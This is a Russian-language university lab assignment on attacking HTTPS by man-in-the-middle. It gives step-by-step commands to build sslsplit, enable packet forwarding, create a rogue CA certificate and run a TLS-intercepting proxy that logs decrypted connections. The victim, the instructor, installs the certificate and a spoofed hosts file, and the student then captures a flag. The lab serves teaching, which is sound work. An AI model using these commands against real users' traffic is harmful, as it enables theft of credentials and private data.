Лабораторная №1

MITM HTTPS

Цель работы:

Получить базовое представление о том, каким образом может быть атакован протокол HTTPS.

Порядок выполнения работы:

1. поднять сервер в интернете, имеющий статический ip адрес;
2. установить на него утилиту sslsplit, например, посредством следующих команд:

   wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.5.4.tar.bz2

   bunzip2 sslsplit-0.5.4.tar.bz2

   tar xvf sslsplit-0.5.4.tar

   cd sslsplit-0.5.4

   make
3. настроить возможность форвардинга пакетов:

   sysctl -w net.ipv4.ip_forward=1
4. сгенерировать сертификат и ключ:

   openssl genrsa -out ca.key 4096

   openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
5. запустить sslsplit, например, так:

   sudo ./sslsplit-0.5.4/sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.cer ssl 0.0.0.0 443 [host] 443

   где [host] – адрес некоторого сервиса в интернете
6. сформировать для передачи на атакуемую машину архив, состоящий из сертификата а также файла hosts, в котором указан ip адрес сервера и имя сервиса, на который идёт перенаправление.

Полученный на последнем этапе архив передаётся преподавателю. Преподаватель совершает обращение к указанному хосту, установив сертификат в качестве довернного, а также заменив файл hosts на переданный. После этого преподаватель передаёт в одно из полей сайта некоторый флаг формата

flag[десять случайных символов]

Для сдачи лабораторной необходимо предъявить флаг.

Полезная ссылка:

https://blog.heckel.xyz/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/